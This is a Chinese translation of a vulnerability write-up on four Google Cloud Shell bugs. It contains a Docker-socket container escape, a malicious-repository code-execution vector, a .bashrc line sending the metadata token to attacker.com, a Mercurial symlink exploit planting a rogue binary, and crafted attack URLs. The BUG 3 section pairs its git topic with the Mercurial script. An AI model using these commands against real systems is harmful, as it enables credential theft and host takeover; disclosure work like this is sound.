[翻译]4个Google Cloud Shell的漏洞
字数 1557 2025-08-25 22:58:20
Google Cloud Shell漏洞分析与利用教学文档
1. Google Cloud Shell概述
Google Cloud Shell为管理员和开发人员提供了一种快速访问云资源的方法,具有以下特点:
- 通过浏览器访问的Linux Shell环境
- 预装工具包括:gcloud、Docker、Python、vim、Emacs和Theia IDE
- 访问URL格式:
https://console.cloud.google.com/home/dashboard?cloudshell=true&project=your_project_id - 默认基于Debian 9 Stretch Docker镜像(
gcr.io/cloudshell-images/cloudshell:latest)
2. 容器逃逸漏洞
2.1 漏洞发现
- Cloud Shell运行在Docker容器中
- 存在两个Docker unix套接字:
/run/docker.sock- 容器内默认Docker客户端路径/google/host/var/run/run/docker.sock- 主机Docker套接字
2.2 逃逸方法
# 创建特权容器并挂载主机根文件系统
sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name LiveOverflow-container -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock start LiveOverflow-container
sudo docker -H unix:///google/host/var/run/docker.sock exec -it LiveOverflow-container /bin/sh
2.3 后逃逸操作
- 使用
chroot /rootfs切换到主机根目录 - 检查Kubernetes配置:
/etc/kubernetes/manifests/ - 修改Kubernetes pod配置以获取更多权限
3. Python语言服务器漏洞(BUG 1)
3.1 攻击向量
- 通过
cloudshell_git_repo和open_in_editor参数触发Python语言服务器(pyls) - pyls会尝试导入
supervisor、pyls或google包 - 如果这些包存在且包含恶意
__init__.py,代码将被执行
3.2 利用步骤
- 创建恶意仓库,命名为
supervisor、pyls或google - 在仓库中包含恶意
__init__.py - 构造URL:
https://ssh.cloud.google.com/console/editor?cloudshell_git_repo=https://github.com/offensi/supervisor&open_in_editor=__init__.py
4. 自定义镜像漏洞(BUG 2)
4.1 信任模型
- 信任模式:仅限官方镜像(
gcr.io/cloudshell-images/cloudshell:latest)- 挂载用户主目录
- 提供gcloud凭据
- 非信任模式:自定义镜像
- 使用临时空主目录
- 无gcloud凭据
4.2 漏洞利用
- 创建恶意Docker镜像
- 使用容器逃逸技术访问主机
- 窃取或篡改用户主目录内容
- 示例:修改
.bashrc窃取元数据令牌
curl -H"Metadata-flavor: Google" http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token > /tmp/token.json curl -X POST -d@/tmp/token.json https://attacker.com/api/tokenupload - 示例:修改
5. Git克隆漏洞(BUG 3)
5.1 相关参数
cloudshell_git_repo- 仓库URLcloudshell_git_branch- 分支名cloudshell_working_dir- 工作目录
5.2 利用裸仓库
- 创建裸仓库并添加恶意钩子:
mkdir hgrepo hg init hgrepo/root cd hgrepo/root ln -s ../../../bin hg ci -qAm 'add symlink "bin"' hg init ../../../bin echo 'bin = bin' >> .hgsub hg ci -qAm 'add subrepo "bin"' - 构造恶意URL:
https://ssh.cloud.google.com/console/editor?cloudshell_git_repo=https://github.com/offensi/git-poc&cloudshell_git_branch=master&cloudshell_working_dir=evilgitdirectory
6. Go获取漏洞(BUG 4)
6.1 漏洞背景
- 未公开参数
cloudshell_go_get_repo - 结合Mercurial漏洞CVE-2019-3902
6.2 利用步骤
- 创建恶意Mercurial仓库:
#!/bin/sh mkdir hgrepo hg init hgrepo/root cd hgrepo/root ln -s ../../../bin hg ci -qAm 'add symlink "bin"' hg init ../../../bin echo 'bin = bin' >> .hgsub hg ci -qAm 'add subrepo "bin"' cd ../../../bin echo '#!/bin/sh' >> cut echo 'wall You have been pwned!' >> cut chmod +x cut hg add cut hg commit -m "evil cut bin" cd /var/www/html/hgrepo/root hg commit -m "final" - 创建go.html指示文件:
<meta name="go-import" content="go.offensi.com/go.html hg https://go.offensi.com/hgrepo/root"> - 构造攻击URL:
https://ssh.cloud.google.com/cloudshell/editor?cloudshell_go_get_repo=https://go.offensi.com/go.html
7. 防御建议
-
容器安全:
- 限制容器内访问主机Docker套接字
- 使用只读根文件系统
- 禁用特权容器
-
输入验证:
- 严格验证所有URL参数
- 禁用未公开的参数
- 限制外部仓库的克隆
-
依赖管理:
- 及时更新所有预装工具
- 移除不必要的语言服务器
- 监控依赖中的已知漏洞
-
权限控制:
- 实施最小权限原则
- 分离开发和生产环境权限
- 定期轮换凭据
-
监控审计:
- 记录所有Cloud Shell活动
- 监控异常进程创建
- 实施行为分析检测恶意活动